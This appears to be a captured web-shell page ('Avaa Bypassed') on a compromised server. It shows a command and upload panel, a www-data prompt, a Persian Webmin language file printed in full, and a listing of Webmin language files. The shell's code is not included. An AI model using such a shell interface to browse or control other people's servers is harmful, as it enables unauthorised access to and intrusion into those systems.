[ Avaa Bypassed ]




Upload:

Command:

www-data@3.137.180.196: ~ $
main_homepage= آغازه 
main_feedback= بازخورد… 
main_switch=تغيير کاربر… 
main_logout=خروج از سيستم
main_version= نسخه $1 برروي $2 ($3)
main_title=وب‌مين $1 برروي $2 ($3) 
main_title2=وب‌مين
main_none=شما به هيچ يک از پيمانه‌هاي وب‌مين دستيابي نداريد.
main_skill=سطح کنترلت 
main_return= بازگشت به $1 
link_essl= پيمانه Net::SSLeay از مجموعه پيمانه‌هاي پرل نياز به ايجاد يک ارتباط HTTPS دارد که برروي سيستم شما نصب نشده است.
category_servers= ‌کارساز‌ها
category_hardware=سخت‌افزار 
category_system=سيستم 
category_webmin= وب‌مين 
category_net=استفاده از شبکه 
category_syslet=Syslets 
category_cluster=خوشه 
category_info=اطلاعات 
longcategory_servers=پيمانه‌هاي مورد نياز براي پيکربندي وب، نامه الکترونيکي، قاپ کردن و ساير کارسازها
longcategory_hardware=پيمانه‌هاي مورد نياز براي پيکربندي چاپگر، ديسک و ساير سخت افزارها
longcategory_system=پيمانه‌هاي مورد نياز براي تنظيمات کاربران، سيستمهاي پرونده، کارهاي کرون و ساير تنظيمات سيستم.
longcategory_webmin=پيمانه‌هاي مورد نياز براي پيکربندي وب‌مين توسط خودش
longcategory_net=پيمانه‌هاي مورد نياز براي پيکربندي استفاده از شبکه و خدمات شبکه
longcategory_cluster=پيمانه‌هايي که توانايي مديريت چندين کارساز را از طريق يک رابط گرافيکي دارا مي‌باشند.
longcategory_info=پيمانه‌هايي که اطلاعات مربوط به سيستم شما را نمايش مي‌دهند.
header_webmin=نمايه وب‌مين
header_module=نمايه پيمانه
header_help=کمک…
header_config=پيکربندي پيمانه
header_servers=کارسازهاي وب‌مين
index=نمايه
yes=بله
no=خير
save=حفظ کردن
create=ايجاد کردن
delete=حذف کردن
find=يافتن
error=خطا
efilewrite=عدم موفقيت در نوشتن $1:$2 
efileclose=عدم موفقيت در نوشتن $1 به هنگام بسته شدن: $2
efileopen=عدم موفقيت در بازکردن $1 براي نوشتن: $2
default=پيش‌گزيده
modify=تغييردادن
reset=بازگرداندن به مقدار قبل
ok=تاييد
cancel=لغو
helpsearch=جستجوي مستندات…
switch_remote_euser=کاربر يونيکس $1 وجود ندارد.
programname=وب‌مين
chooser_title1=انتخاب فايل…
chooser_title2=انتخاب فهرست راهنما…
chooser_dir=فهرست راهنما $1
chooser_ok=تاييد
users_title1=…انتخاب کاربران
users_title2=…انتخاب کاربر
users_sel=کاربران انتخاب شده
users_all=تمام کاربران
users_ok=تاييد
users_cancel=لغو
users_clear=پاک کردن
groups_title1=انتخاب گروه‌ها…
groups_title2=انتخاب گروه…
groups_all=تمام گروه‌ها
groups_sel=گروه‌هاي انتخاب شده
groups_ok=تاييد
groups_cancel=لغو
groups_clear=پاک کردن
config_ecannot=شما اجازه پيکربندي اين پيمانه را نداريد.
config_title=پيکربندي
config_dir=براي پيمانه $1
config_header=پيکربنديهاي قابل انتخاب براي $1
config_none=هيچ کدام
config_eaccess=شما اجازه دستيابي به اين پيمانه را نداريد.
config_err=عدم موفقيت در حفظ کردن پيکربندي
config_nochange=تغيير ندهيد
config_setto=قراردادن با
config_ewebmin=پارامتر نوع 14 تنها در وب‌مين عمل مينمايد.
help_err=عدم موفقيت در نمايش کمک
help_epath=نيافتن و يا غيرمعتبر بودن مسير پرونده کمک
help_efile=عدم موفقيت در خواندن پرونده $1
help_eheader=Missing <header> section
help_einclude=عدم موفقيت در گنجاندن $1
help_eif=عدم موفقيت $1: $2
help_eexec= عدم موفقيت $1: $2
referer_title=هشدار امنيتي
referer_warn=<b>هشدار!</b> وب‌مين تشخيص داده است که از آدرس اينترنتي $1 که در خارج از کارساز وب‌مين است به برنامه $2 پيوند داده شده است. اين عمل ممکن است تلاشي براي اجراي يک دستور خطرناک توسط کارساز شما باشد.
referer_warn_unknown=<b>هشدار!</b> وب‌مين تشخيص داده است که از آدرس اينترنتي ناشناسي که در خارج از کارساز وب‌مين است به برنامه $1 پيوند داده شده است. اين عمل ممکن است تلاشي براي اجراي يک دستور خطرناک توسط کارساز شما باشد.
session_header=ورود به وب‌مين
session_mesg=شما بايد براي ورود به کارساز وب‌مين برروي $1 يک اسم‌کاربر و کلمه رمز وارد نماييد.
session_mesg2= شما بايد براي ورود يک اسم‌کاربر و کلمه رمز وارد نماييد.
session_user=اسم‌کاربر
session_pass=کلمه رمز
session_login=ورود به سيستم
session_clear=پاک کردن
session_failed=عدم موفقيت در ورود به سيستم. لطفا دوباره سعي نماييد.
session_logout=خروج از سيستم با موفقيت انجام گرفت. براي ورود مجدد به سيستم از فرم زير استفاده نماييد.
session_timed_out=زمان نشست پس از $1 دقيقه عدم فعاليت به پايان رسيد.
session_save=اطلاعات ورود به سيستم براي هميشه نگهداري شود؟ 
pam_header=ورود به وب‌مين
pam_mesg=جهت ورود به کارساز وب‌مين برروي $1 بايد به سوال زير پاسخ دهيد.
pam_mesg2= جهت ورود به کارساز وب‌مين برروي $1 بايد به سوال زير پاسخ دهيد.
pam_login=ادامه دادن
pam_restart=آغاز دوباره
acl_root=ريشه فهرست راهنما براي انتخاب کننده پرونده 
acl_home= فهرست راهنماي کاربر
acl_uedit=کاربران قابل مشاهده در انتخابکننده کاربر
acl_uedit_all=تمام کاربران
acl_uedit_none=هيچکدام از کاربران
acl_uedit_only=فقط کاربران
acl_uedit_except=همه بجز کاربران
acl_uedit_group=کاربران به همراه گروه
acl_gedit=گروه‌هاي قابل مشاهده در انتخابکننده گروه
acl_gedit_all=تمام گروه‌ها
acl_gedit_none=هيچيک از گروه‌ها
acl_gedit_only=فقط گروه‌ها
acl_gedit_except=همه بجز گروه‌ها
acl_gedit_gid=گروه‌ها به ترتيب شماره مشخصه گروه
acl_feedback=آيا نامه الکترونيکي بازخورد ارسال ميشود؟
acl_feedback2=بله
acl_feedback1=بله، اما بدون پرونده پيکربندي
acl_feedback0=خير
acl_feedback3=بله، به همراه پرونده پيکربندي
acl_rpc=آيا صدا زدن RPC را ميپذيريد؟
acl_rpc2=تنها براي کاربر <tt> root </tt> يا <tt> مدير سيستم</tt>
acl_rpc1=بله
acl_rpc0=خير
month_1=ژانويه
month_2=فوريه
month_3=مارس
month_4=آوريل
month_5=مي
month_6=ژوئن
month_7=جولاي
month_8=آگوست
month_9=سپتامبر
month_10=اکتبر
month_11=نوامبر
month_12=دسامبر
day_0=يکشنبه
day_1=دوشنبه
day_2=سه شنبه
day_3=چهارشنبه
day_4=پنجشنبه
day_5=جمعه
day_6=شنبه
smonth_1=Jan
smonth_2=Feb
smonth_3=Mar
smonth_4=Apr
smonth_5=May
smonth_6=Jun
smonth_7=Jul
smonth_8=Aug
smonth_9=Sep
smonth_10=Oct
smonth_11=Nov
smonth_12=Dec
sday_0=Su
sday_1=Mo
sday_2=Tu
sday_3=We
sday_4=Th
sday_5=Fr
sday_6=Sa
emodule=دستيابي ممکن نيست: کاربر $1 اجازه استفاده از پيمانه $2 را ندارد.
skill_high=متخصص
skill_medium=متوسط
skill_low=تازه کار
feedback_title=بازخورد وب‌مين
feedback_desc=اين برگه به شما اجازه مي‌دهد گزارشات خطا و پيشنهادات خود را در زمينه هر مشکل و يا کاستي در تواناييهاي وب‌مين که شما يافته ايد به توسعه دهندگان وب‌مين ارسال نماييد. هنگامي که دگمه ارسال فشار داده شود تمامي جزييات وارد شده در اين برگه براي $1 پست الکترونيکي خواهد شد. 
feedback_desc2=اين بازخورد براي توسعه دهندگان وب‌مين ارسال خواهد شد و نه براي مدير سيستم شما يا ISP يا شرکت ارائه دهنده خدمات ميزبان. لطفا بازخورد خود را حتي اگر در حال حاضر از زبانهاي ديگر وب‌مين استفاده مي‌نماييد، به زبان انگليسي بنويسيد.
feedback_header=جزييات بازخورد
feedback_name=نام
feedback_email=آدرس پست الکترونيکي
feedback_module=پيمانه مورد نظر
feedback_all=تمام پيمانه‌ها
feedback_text=توضيح مشکلات يا پيشنهادات
feedback_os=آيا جزييات سيستم عامل در نامه الکترونيکي وجود دارد؟
feedback_osdesc=چنانچه اين گزينه را انتخاب نماييد، بهصورت خودکار نام و نسخه سيستم عامل مورد استفاده شما در نامه الکترونيکي بازخورد قرار داده خواهد شد.
feedback_config=آيا پيکربندي پيمانه در نامه الکترونيکي وجود دارد؟
feedback_configdesc=چنانچه اين گزينه انتخاب شود پيکربنديهاي مربوط به پيمانه و محتويات تمامي پرونده‌هاي پيکربندي مورد استفاده در پيمانه به نامه الکترونيکي اضافه خواهد شد. براي مثال چنانچه بازخورد مربوط به پيمانه <i> کاربران و گروه‌ها</i> باشد، پرونده‌هاي <tt> /etc/passwd </tt> و <tt> /etc/shadow </tt> ارسال خواهند شد. 
feedback_attach=ساير پرونده‌هاي پيوست
feedback_send=ارسال بازخورد
feedback_mailserver=ارسال از طريق خدمتدهنده SMTP
feedback_mailserver_def=برنامه محلي Sendmail
feedback_err=عدم موفقيت در ارسال بازخورد
feedback_emodule=شما اضافه کردن پيکربندي پيمانه را انتخاب کردهايد اما پيمانهاي را انتخاب ننمودهايد.
feedback_emodule2=پيمانه انتخاب شده وجود ندارد
feedback_econfig=شما دستيابي کامل به پيمانه انتخاب شده نداريد.
feedback_via=ارسال بازخورد به $1 از طريق خدمتدهنده SMTP $2
feedback_prog=ارسال بازخورد به $1 با استفاده از برنامه Snadamil $2
feedback_esend=عدم موفقيت در ارسال بازخورد از طريق برنامه Sendamil يا خدمتدهنده محلي SMTP.
feedback_to=ارسال بازخورد براي آدرسهاي
feedback_enoto=آدرسهايي براي ارسال بازخورد به آنها، وارد نشده است.
feedback_ecannot=شما اجازه ارسال بازخورد را نداريد.
feedback_ecannot2=شما اجازه ارسال بازخورد شامل پرونده‌هاي پيکربندي را نداريد.
progress_nosize=در حال بارکردن $1…
progress_done=…بارکردن تکميل شد
readparse_cdheader=سرآيند نوع محتوا يافت نشد.
readparse_enc=چشم انتظار رمز گذاري داده-برگه است اما رمزگذاري معمولي را گرفته است.
readparse_max=داده از بيشينه اندازه $1 بايت تجاوز کرده است.
password_expired= اسم‌رمز شما منقضي شده است و يک اسم‌رمز جديد بايد انتخاب شود.
password_header= انتخاب اسم‌رمز جديد
password_user=اسم‌کاربر
password_old=اسم‌رمز فعلي
password_new1=اسم‌رمز جديد
password_new2=تکرار اسم‌رمز جديد
password_ok=تغييردادن
password_clear=پاک کردن
password_done=ايم رمز شما با موفقيت تغيير يافت. شما اکنون بايد با اسم‌رمز جديد <a href='$1'>وارد سيستم</a>شويد.
password_err=عدم موفقيت در تغييردادن اسم‌رمز
password_euser=نام ورود به سيستم شما در پرونده اسم‌رمز يافت نشد
password_eold=اسم‌رمز فعلي نادرست است
password_enew1=اسم‌رمز جديد وارد نشده است
password_enew2=اسم‌رمزهاي جديد وارد شده يکسان نيست
password_epam=خطاي PAM: $1
password_emodpam=پيمانه پرل Authen::PAM که براي تغيير اسم‌رمز لازم است، نصب نشده است!
ui_mandatory=اين فيلد اجباري است
ui_checkmandatory=هيچ چيز انتخاب نشده است
ui_errors=چندين خطا يافت شد:
ui_nothing=هيچ چيز وارد نشد
ui_searchcol=ستونهايي را پيدا کن با شرط 
ui_searchfor=شامل متن
ui_searchok=جستجو
ui_selall=انتخاب همه.
ui_selinv=معکوس کردن انتخابها.
ui_edate=تاريخ نامعتبر است
ui_etime=ساعت نامعتبر است
ui_paging=در حال نمايش ستونهاي $1 تا $2 از $3
ui_rowlabel=$2 در ستون $1:
header_statusmsg=$1 وارد $2 $3 برروي $4 ($5) شده است

Filemanager

Name Type Size Permission Actions
af File 6.61 KB 0644
af.auto File 7.85 KB 0644
ar File 18.71 KB 0644
ar.auto File 787 B 0644
be.auto File 21.68 KB 0644
bg File 9.83 KB 0644
bg.auto File 10.45 KB 0644
ca File 14.48 KB 0644
ca.auto File 706 B 0644
cs File 13.96 KB 0644
cs.auto File 1012 B 0644
da File 13.66 KB 0644
da.auto File 573 B 0644
de File 15.1 KB 0644
de.auto File 390 B 0644
el File 16.96 KB 0644
el.auto File 6.62 KB 0644
en File 13.91 KB 0644
es File 15.14 KB 0644
es.auto File 425 B 0644
eu File 11.85 KB 0644
eu.auto File 2.79 KB 0644
fa File 14.04 KB 0644
fa.auto File 6.38 KB 0644
fi File 10.44 KB 0644
fi.auto File 4.62 KB 0644
fr File 10.98 KB 0644
fr.auto File 5.46 KB 0644
he File 2.44 KB 0644
he.auto File 13.55 KB 0644
hr.auto File 15.04 KB 0644
hu File 9.36 KB 0644
hu.auto File 6.66 KB 0644
it File 15.08 KB 0644
ja File 17.49 KB 0644
ja.auto File 413 B 0644
ko File 12.35 KB 0644
ko.auto File 3.27 KB 0644
lt File 6.77 KB 0644
lt.auto File 8.29 KB 0644
lv.auto File 15.11 KB 0644
ms File 13.49 KB 0644
ms.auto File 1.14 KB 0644
mt.auto File 15.18 KB 0644
nl File 13.67 KB 0644
nl.auto File 1.33 KB 0644
no File 13.85 KB 0644
no.auto File 214 B 0644
pl File 13.81 KB 0644
pl.auto File 1.06 KB 0644
pt File 13.19 KB 0644
pt.auto File 2.11 KB 0644
pt_BR File 7.1 KB 0644
pt_BR.auto File 8.24 KB 0644
ro File 9.69 KB 0644
ro.auto File 5.22 KB 0644
ru File 17.21 KB 0644
ru.auto File 4.05 KB 0644
sk File 8.47 KB 0644
sk.auto File 6.48 KB 0644
sl.auto File 14.74 KB 0644
sv File 2.31 KB 0644
sv.auto File 12.26 KB 0644
th File 4.92 KB 0644
th.auto File 18.93 KB 0644
tr File 2.81 KB 0644
tr.auto File 12.12 KB 0644
uk File 13.95 KB 0644
uk.auto File 6.41 KB 0644
ur.auto File 18.41 KB 0644
vi.auto File 17.28 KB 0644
zh File 9.33 KB 0644
zh.auto File 4.26 KB 0644
zh_TW File 6.42 KB 0644
zh_TW.auto File 6.67 KB 0644